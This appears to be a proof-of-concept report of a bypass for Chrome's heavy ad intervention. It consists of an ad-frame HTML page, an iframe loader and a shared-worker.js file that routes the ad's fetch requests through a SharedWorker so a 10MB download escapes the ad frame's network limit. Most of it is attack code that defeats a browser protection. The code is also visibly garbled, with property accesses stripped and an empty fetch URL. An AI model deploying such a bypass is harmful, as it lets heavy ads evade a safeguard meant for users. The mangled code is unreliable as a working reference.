bypass chrome detection mechanism

<html><head><style>* {font-family: 'Helvetica', sans-sarif;}.header {font-size: 1.5rem;font-weight: 700;color: red;}</style></head><body>The frame will now start violating the heavy ad intervention rules, please hold...<p class="header">DO NOT CLICK THIS FRAME!</p><small>Clicking this frame will disable heavy ad intervention on it</small><br/><p>To ensure this is an ad:<ol><li>Open DevTools (Ctrl + Shift + I)</li><li>Cutsomize and control DevTools (Three vertical dots) -> More tools -> Rendering</li><li>Enable `Highlight ad frames`</li></ol>Verify that this frame is then colored red to ensure it is detected as an ad-frame by Chrome.</p><div id="output"></div><script>// Your heavy ad intervention bypass goes here:// alert("Ad loaded - Insert your script in adunit.html");/*This is a very basic polyfill for window.fetch via a shared worker.This works as a drop-in replacement to window.fetch.It currently doesn't handle well errors or multiple simultaneous requests with the same URL,but it works for demo purposes. More robust implementation can be made fairly easily.To debug shared workers, need to use chrome://inspect/#workersDelegated network requests will only appear in the shared worker's DevTools.*/var resolveResponse = {};var sharedWorker = new SharedWorker('shared-worker.js');sharedWorker.port.onmessage = (event) => {if ( && {'Response:',;var response = new Response(;resolveResponse[](response);delete resolveResponse[]; // Save memory, not strictly needed} else {console.warn('Received unexpected message from shared worker');}};var originalFetch = window.fetch; // For easy behavior comparisonwindow.fetch = (fetchUrl) => {// Uncomment line below to see how PoC works with original fetch// return originalFetch(fetchUrl);return new Promise((resolve, reject) => {resolveResponse[fetchUrl] = resolve;// return resolveResponse[fetchUrl](new Response('Test response')); // For development purposessharedWorker.port.postMessage({ fetchUrl: fetchUrl });});}</script><script defer="" type="text/javascript">// Loop download of a 10MB file to trigger heavy ad intervention's network limitfunction download() {// Removed recursive calling, since single resource load will trigger intervention.// Added output for verification purposes.// Using or same-origin file does not affect behavior// fetch('./big.bin').then(response => {fetch('').then(response => {return response.text();}).then(response => {output.innerText = 'Response: '+response.substr(0,100)+'... (total length: '+response.length+')';// Feel free to test recursive calling if desired.// download();});}download();</script></body></html>


"use strict";const iframe = document.createElement("iframe");iframe.src = "adunit.html"; = "width: 98vw; height: 60vh";document.body.appendChild(iframe);


/* shared-worker.js */// Part of window.fetch polyfill, makes requests on behalf of page.// To debug shared workers, need to use chrome://inspect/#workers// Delegated network requests will only appear in the shared worker's DevTools.self.onconnect = (event) => {var port = event.ports[0];port.onmessage = (event) => {if ( {var fetchUrl =;fetch(fetchUrl).then(response => {response.blob().then(blob => {port.postMessage({ fetchUrl: fetchUrl, fetchResponse: blob });});});} else {console.warn('Must send fetchUrl in message.');}}}


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